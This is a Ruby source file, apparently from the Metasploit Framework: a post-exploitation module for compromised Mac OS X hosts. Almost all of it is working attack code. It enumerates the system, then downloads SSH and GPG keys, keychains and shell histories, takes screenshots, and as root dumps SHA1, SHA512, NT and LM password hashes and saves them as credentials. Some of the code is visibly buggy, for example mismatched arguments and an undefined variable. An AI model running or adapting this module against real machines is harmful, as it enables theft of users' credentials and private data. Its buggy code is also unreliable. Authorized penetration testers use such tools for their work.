metasploit-framework/modules/post/osx/gather/enum_osx.rb

649 lines
19 KiB
Ruby

##
# $Id$
##
##
# ## This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
require 'rex'
require 'msf/core/post/common'
require 'msf/core/post/file'
class Metasploit3 < Msf::Post
include Msf::Post::Common
include Msf::Post::File
include Msf::Auxiliary::Report
def initialize(info={})
super( update_info( info,
'Name' => 'OS X Gather Mac OS X System Information Enumeration',
'Description' => %q{
This module gathers basic system information from Mac OS X Tiger, Leopard,
Snow Leopard and Lion systems.
},
'License' => MSF_LICENSE,
'Author' => [ 'Carlos Perez <carlos_perez[at]darkoperator.com>'],
'Version' => '$Revision$',
'Platform' => [ 'osx' ],
'SessionTypes' => [ "shell" ]
))
end
# Run Method for when run command is issued
def run
case session.type
when /meterpreter/
host = sysinfo["Computer"]
when /shell/
host = session.shell_command_token("hostname").chomp
end
print_status("Running module against #{host}")
running_root = check_root
if running_root
print_status("This session is running as root!")
end
ver_num = get_ver
log_folder = log_folder_create()
enum_conf(log_folder)
enum_accounts(log_folder, ver_num)
get_crypto_keys(log_folder)
screenshot(log_folder, ver_num)
dump_hash(ver_num) if running_root
dump_bash_history(log_folder)
get_keychains(log_folder)
end
#parse the dslocal plist in lion
def read_ds_xml_plist(plist_content)
require "rexml/document"
doc = REXML::Document.new(plist_content)
keys = []
doc.elements.each("plist/dict/key") do |element|
keys << element.text
end
fields = {}
i = 0
doc.elements.each("plist/dict/array") do |element|
data = []
fields[keys[i]] = data
element.each_element("*") do |thing|
data_set = thing.text
if data_set
data << data_set.gsub("\n\t\t","")
else
data << data_set
end
end
i+=1
end
return fields
end
# Function for creating the folder for gathered data
def log_folder_create(log_path = nil)
#Get hostname
case session.type
when /meterpreter/
host = Rex::FileUtils.clean_path(sysinfo["Computer"])
when /shell/
host = Rex::FileUtils.clean_path(session.shell_command_token("hostname").chomp)
end
# Create Filename info to be appended to downloaded files
filenameinfo = "_" + ::Time.now.strftime("%Y%m%d.%M%S")
# Create a directory for the logs
if log_path
logs = ::File.join(log_path, 'logs', "enum_osx", host + filenameinfo )
else
logs = ::File.join(Msf::Config.log_directory, "post", "enum_osx", host + filenameinfo )
end
# Create the log directory
::FileUtils.mkdir_p(logs)
return logs
end
# Checks if running as root on the target
def check_root
# Get only the account ID
case session.type
when /shell/
id = session.shell_command_token("/usr/bin/id -ru").chomp
when /meterpreter/
id = cmd_exec("/usr/bin/id","-ru").chomp
end
if id == "0"
return true
else
return false
end
end
# Checks if the target is OSX Server
def check_server
# Get the OS Name
case session.type
when /meterpreter/
osx_ver = cmd_exec("/usr/bin/sw_vers", "-productName").chomp
when /shell/
osx_ver = session.shell_command_token("/usr/bin/sw_vers -productName").chomp
end
if osx_ver =~/Server/
return true
else
return false
end
end
# Enumerate the OS Version
def get_ver
# Get the OS Version
case session.type
when /meterpreter/
osx_ver_num = cmd_exec("/usr/bin/sw_vers", "-productVersion").chomp
when /shell/
osx_ver_num = session.shell_command_token("/usr/bin/sw_vers -productVersion").chomp
end
return osx_ver_num
end
def enum_conf(log_folder)
platform_type = session.platform
session_type = session.type
profile_datatypes = {"OS" => "SPSoftwareDataType",
"Network" => "SPNetworkDataType",
"Bluetooth" => "SPBluetoothDataType",
"Ethernet" => "SPEthernetDataType",
"Printers" => "SPPrintersDataType",
"USB" => "SPUSBDataType",
"Airport" => "SPAirPortDataType",
"Firewall" => "SPFirewallDataType",
"Known Networks" => "SPNetworkLocationDataType",
"Applications" => "SPApplicationsDataType",
"Development Tools" => "SPDeveloperToolsDataType",
"Frameworks" => "SPFrameworksDataType",
"Logs" => "SPLogsDataType",
"Preference Panes" => "SPPrefPaneDataType",
"StartUp" => "SPStartupItemDataType"}
shell_commands = {
"TCP Connections" => ["/usr/sbin/netstat","-np tcp"],
"UDP Connections" => ["/usr/sbin/netstat","-np udp"],
"Environment Variables" => ["/usr/bin/printenv",""],
"Last Boottime" => ["/usr/bin/who","-b"],
"Current Activity" => ["/usr/bin/who",""],
"Process List" => ["/bin/ps","-ea"]
}
print_status("Saving all data to #{log_folder}")
# Enumerate first using System Profiler
profile_datatypes.each do |name,profile_datatypes|
print_status("\tEnumerating #{name}")
# Run commands according to the session type
if session_type =~ /meterpreter/
returned_data = cmd_exec("system_profiler",profile_datatypes)
# Save data lo log folder
file_local_write(log_folder+"//#{name}.txt",returned_data)
elsif session_type =~ /shell/
begin
returned_data = session.shell_command_token("/usr/sbin/system_profiler #{profile_datatypes}",15)
# Save data lo log folder
file_local_write(log_folder+"//#{name}.txt",returned_data)
rescue
end
end
end
# Enumerate using system commands
shell_commands.each do |name, command|
print_status("\tEnumerating #{name}")
# Run commands according to the session type
begin
if session_type =~ /meterpreter/
command_output = cmd_exec(command[0],command[1])
# Save data lo log folder
file_local_write(log_folder+"//#{name}.txt",command_output)
elsif session_type =~ /shell/
command_output = session.shell_command_token(command.join(" "),15)
# Save data lo log folder
file_local_write(log_folder+"//#{name}.txt",command_output)
end
rescue
print_error("failed to run #{name}")
end
end
end
def enum_accounts(log_folder,ver_num)
# Specific commands for Leopard and Snow Leopard
leopard_commands = {
"Users" => ["/usr/bin/dscacheutil","-q user"],
"Groups" => ["/usr/bin/dscacheutil","-q group"]
}
# Specific commands for Tiger
tiger_commands = {
"Users" => ["/usr/sbin/lookupd","-q user"],
"Groups" => ["/usr/sbin/lookupd","-q group"]
}
if ver_num =~ /10\.(7|6|5)/
shell_commands = leopard_commands
else
shell_commands = tiger_commands
end
shell_commands.each do |name, command|
print_status("\tEnumerating #{name}")
# Run commands according to the session type
if session.type =~ /meterpreter/
command_output = cmd_exec(command[0],command[1])
# Save data lo log folder
file_local_write(log_folder+"//#{name}.txt",command_output)
elsif session.type =~ /shell/
command_output = session.shell_command_token(command.join(" "),15)
# Save data lo log folder
file_local_write(log_folder+"//#{name}.txt",command_output)
end
end
end
# Method for getting SSH and GPG Keys
def get_crypto_keys(log_folder)
# Run commands according to the session type
if session.type =~ /shell/
# Enumerate and retreave files according to privilege level
if not check_root
# Enumerate the home folder content
home_folder_list = session.shell_command_token("/bin/ls -ma ~/").chomp.split(", ")
# Check for SSH folder and extract keys if found
if home_folder_list.include?("\.ssh")
print_status(".ssh Folder is present")
ssh_folder = session.shell_command_token("/bin/ls -ma ~/.ssh").chomp.split(", ")
ssh_folder.each do |k|
next if k =~/^\.$|^\.\.$/
print_status("\tDownloading #{k.strip}")
ssh_file_content = session.shell_command_token("/bin/cat ~/.ssh/#{k}")
# Save data lo log folder
file_local_write(log_folder+"//#{name}",ssh_file_content)
end
end
# Check for GPG and extract keys if found
if home_folder_list.include?("\.gnupg")
print_status(".gnupg Folder is present")
gnugpg_folder = session.shell_command_token("/bin/ls -ma ~/.gnupg").chomp.split(", ")
gnugpg_folder.each do |k|
next if k =~/^\.$|^\.\.$/
print_status("\tDownloading #{k.strip}")
gpg_file_content = session.shell_command_token("/bin/cat ~/.gnupg/#{k.strip}")
# Save data lo log folder
file_local_write(log_folder+"//#{name}",gpg_file_content)
end
end
else
users = []
case session.type
when /meterpreter/
users_folder = cmd_exec("/bin/ls","/Users")
when /shell/
users_folder = session.shell_command_token("/bin/ls /Users")
end
users_folder.each_line do |u|
next if u.chomp =~ /Shared|\.localized/
users << u.chomp
end
users.each do |u|
user_folder = session.shell_command_token("/bin/ls -ma /Users/#{u}/").chomp.split(", ")
if user_folder.include?("\.ssh")
print_status(".ssh Folder is present for #{u}")
ssh_folder = session.shell_command_token("/bin/ls -ma /Users/#{u}/.ssh").chomp.split(", ")
ssh_folder.each do |k|
next if k =~/^\.$|^\.\.$/
print_status("\tDownloading #{k.strip}")
ssh_file_content = session.shell_command_token("/bin/cat /Users/#{u}/.ssh/#{k}")
# Save data lo log folder
file_local_write(log_folder+"//#{name}",ssh_file_content)
end
end
end
users.each do |u|
user_folder = session.shell_command_token("/bin/ls -ma /Users/#{u}/").chomp.split(", ")
if user_folder.include?("\.ssh")
print_status(".gnupg Folder is present for #{u}")
ssh_folder = session.shell_command_token("/bin/ls -ma /Users/#{u}/.gnupg").chomp.split(", ")
ssh_folder.each do |k|
next if k =~/^\.$|^\.\.$/
print_status("\tDownloading #{k.strip}")
ssh_file_content = session.shell_command_token("/bin/cat /Users/#{u}/.gnupg/#{k}")
# Save data lo log folder
file_local_write(log_folder+"//#{name}",ssh_file_content)
end
end
end
end
end
end
# Method for capturing screenshot of targets
def screenshot(log_folder, ver_num)
if ver_num =~ /10\.(7|6|5)/
print_status("Capturing screenshot")
picture_name = ::Time.now.strftime("%Y%m%d.%M%S")
if check_root
print_status("Capturing screenshot for each loginwindow process since privilege is root")
if session.type =~ /shell/
loginwindow_pids = session.shell_command_token("/bin/ps aux \| /usr/bin/awk \'/name/ \&\& \!/awk/ \{print \$2\}\'").split("\n")
loginwindow_pids.each do |pid|
print_status("\tCapturing for PID:#{pid}")
session.shell_command_token("/bin/launchctl bsexec #{pid} /usr/sbin/screencapture -x /tmp/#{pid}.jpg")
file_local_write(log_folder+"//screenshot_#{pid}.jpg",
session.shell_command_token("/bin/cat /tmp/#{pid}.jpg"))
session.shell_command_token("/usr/bin/srm -m -z /tmp/#{pid}.jpg")
end
end
else
# Run commands according to the session type
if session.type =~ /shell/
session.shell_command_token("/usr/sbin/screencapture -x /tmp/#{picture_name}.jpg")
file_local_write(log_folder+"//screenshot.jpg",
session.shell_command_token("/bin/cat /tmp/#{picture_name}.jpg"))
session.shell_command_token("/usr/bin/srm -m -z /tmp/#{picture_name}.jpg")
end
end
print_status("Screenshot Captured")
end
end
def dump_bash_history(log_folder)
print_status("Extracting history files")
# Run commands according to the session type
users = []
case session.type
when /meterpreter/
users_folder = cmd_exec("/bin/ls","/Users").chomp
current_user = cmd_exec("/usr/bin/id","-nu").chomp
when /shell/
users_folder = session.shell_command_token("/bin/ls /Users").chomp
current_user = session.shell_command_token("/usr/bin/id -nu").chomp
end
users_folder.each_line do |u|
next if u.chomp =~ /Shared|\.localized/
users << u.chomp
end
# If we are root lets get root for when sudo was used and all users
if current_user == "root"
# Check the root user folder
root_folder = session.shell_command_token("/bin/ls -ma ~/").chomp.split(", ")
root_folder.each do |f|
if f =~ /\.\w*\_history/
print_status("\tHistory file #{f.strip} found for root")
print_status("\tDownloading #{f.strip}")
sh_file = session.shell_command_token("/bin/cat ~/#{f.strip}")
# Save data lo log folder
file_local_write(log_folder+"//root_#{f.strip}.txt",sh_file)
end
end
# Getting the history files for all users
users.each do |u|
# Lets get a list of all the files on the users folder and place them in an array
user_folder = session.shell_command_token("/bin/ls -ma /Users/#{u}/").chomp.split(", ")
user_folder.each do |f|
if f =~ /\.\w*\_history/
print_status("\tHistory file #{f.strip} found for #{u}")
print_status("\tDownloading #{f.strip}")
sh_file = session.shell_command_token("/bin/cat /Users/#{u}/#{f.strip}")
# Save data lo log folder
file_local_write(log_folder+"//#{u}_#{f.strip}.txt",sh_file)
end
end
end
else
current_user_folder = session.shell_command_token("/bin/ls -ma ~/").chomp.split(", ")
current_user_folder.each do |f|
if f =~ /\.\w*\_history/
print_status("\tHistory file #{f.strip} found for #{current_user}")
print_status("\tDownloading #{f.strip}")
sh_file = session.shell_command_token("/bin/cat ~/#{f.strip}")
# Save data lo log folder
file_local_write(log_folder+"//#{current_user}_#{f.strip}.txt",sh_file)
end
end
end
end
# Dump SHA1 Hashes used by OSX, must be root to get the Hashes
def dump_hash(log_folder,ver_num)
print_status("Dumping Hashes")
users = []
nt_hash = nil
host = session.session_host
# Path to files with hashes
sha1_file = ""
# Check if system is Lion if not continue
if ver_num =~ /10\.(7)/
hash_decoded = ""
# get list of profiles present in the box
profiles = cmd_exec("ls /private/var/db/dslocal/nodes/Default/users").split("\n")
if profiles
profiles.each do |p|
# Skip none user profiles
next if p =~ /^_/
next if p =~ /^daemon|root|nobody/
# Turn profile plist in to XML format
cmd_exec("cp","/private/var/db/dslocal/nodes/Default/users/#{p.chomp} /tmp/")
cmd_exec("plutil","-convert xml1 /tmp/#{p.chomp}")
file = cmd_exec("cat","/tmp/#{p.chomp}")
# Clean up using secure delete overwriting and zeroing blocks
cmd_exec("/usr/bin/srm","-m -z /tmp/#{p.chomp}")
# Process XML Plist into a usable hash
plist_values = read_ds_xml_plist(file)
# Extract the shadow hash data, decode it and format it
plist_values['ShadowHashData'].join("").unpack('m')[0].each_byte do |b|
hash_decoded << sprintf("%02X", b)
end
user = plist_values['name'].join("")
# Check if NT HASH is present
if hash_decoded =~ /4F1010/
nt_hash = hash_decoded.scan(/^\w*4F1010(\w*)4F1044/)[0][0]
end
# Carve out the SHA512 Hash, the first 4 bytes is the salt
sha512 = hash_decoded.scan(/^\w*4F1044(\w*)(080B190|080D101E31)/)[0][0]
print_status("SHA512:#{user}:#{sha512}")
sha1_file << "#{user}:#{sha512}\n"
# Reset hash value
sha512 = ""
if nt_hash
print_status("NT:#{user}:#{nt_hash}")
print_status("Credential saved in database.")
report_auth_info(
:host => host,
:port => 445,
:sname => 'smb',
:user => user,
:pass => "AAD3B435B51404EE:#{nt_hash}",
:active => true
)
# Reset hash value
nt_hash = nil
end
# Reset hash value
hash_decoded = ""
end
end
# Save pwd file
upassf = store_loot("osx.hashes.sha512", "text/plain", session, sha1_file, "unshadowed_passwd.pwd", "OSX Unshadowed SHA512 Password File")
print_good("Unshadowed Password File: #{upassf}")
# If system was lion and it was processed nothing more to do
return
end
users_folder = cmd_exec("/bin/ls","/Users")
users_folder.each_line do |u|
next if u.chomp =~ /Shared|\.localized/
users << u.chomp
end
# Process each user
users.each do |user|
if ver_num =~ /10\.(6|5)/
guid = cmd_exec("/usr/bin/dscl", "localhost -read /Search/Users/#{user} | grep GeneratedUID | cut -c15-").chomp
elsif ver_num =~ /10\.(4|3)/
guid = cmd_exec("/usr/bin/niutil","-readprop . /users/#{user} generateduid").chomp
end
# Extract the hashes
sha1_hash = cmd_exec("/bin/cat", "/var/db/shadow/hash/#{guid} | cut -c169-216").chomp
nt_hash = cmd_exec("/bin/cat", "/var/db/shadow/hash/#{guid} | cut -c1-32").chomp
lm_hash = cmd_exec("/bin/cat", "/var/db/shadow/hash/#{guid} | cut -c33-64").chomp
# Check that we have the hashes and save them
if sha1_hash !~ /00000000000000000000000000000000/
print_status("SHA1:#{user}:#{sha1_hash}")
sha1_file << "#{user}:#{sha1_hash}"
end
if nt_hash !~ /000000000000000/
print_status("NT:#{user}:#{nt_hash}")
print_status("Credential saved in database.")
report_auth_info(
:host => host,
:port => 445,
:sname => 'smb',
:user => user,
:pass => "AAD3B435B51404EE:#{nt_hash}",
:active => true
)
end
if lm_hash !~ /0000000000000/
print_status("LM:#{user}:#{lm_hash}")
print_status("Credential saved in database.")
report_auth_info(
:host => host,
:port => 445,
:sname => 'smb',
:user => user,
:pass => "#{lm_hash}:",
:active => true
)
end
end
# Save pwd file
upassf = store_loot("osx.hashes.sha1", "text/plain", session, sha1_file, "unshadowed_passwd.pwd", "OSX Unshadowed SHA1 Password File")
print_good("Unshadowed Password File: #{upassf}")
end
# Download configured Keychains
def get_keychains(log_folder)
users = []
case session.type
when /meterpreter/
users_folder = cmd_exec("/bin/ls","/Users").chomp
when /shell/
users_folder = session.shell_command_token("/bin/ls /Users").chomp
end
users_folder.each_line do |u|
next if u.chomp =~ /Shared|\.localized/
users << u.chomp
end
if check_root
users.each do |u|
print_status("Enumerating and Downloading keychains for #{u}")
keychain_files = session.shell_command_token("/usr/bin/sudo -u #{u} -i /usr/bin/security list-keychains").split("\n")
keychain_files.each do |k|
keychain_file = session.shell_command_token("/bin/cat #{k.strip}")
# Save data lo log folder
file_local_write(log_folder+"//#{u}#{k.strip.gsub(/\W/,"_")}",keychain_file)
end
end
else
current_user = session.shell_command_token("/usr/bin/id -nu").chomp
print_status("Enumerating and Downloading keychains for #{current_user}")
keychain_files = session.shell_command_token("usr/bin/security list-keychains").split("\n")
keychain_files.each do |k|
keychain_file = session.shell_command_token("/bin/cat #{k.strip}")
# Save data lo log folder
file_local_write(log_folder+"//#{current_user}#{k.strip.gsub(/\W/,"_")}",keychain_file)
end
end
end
end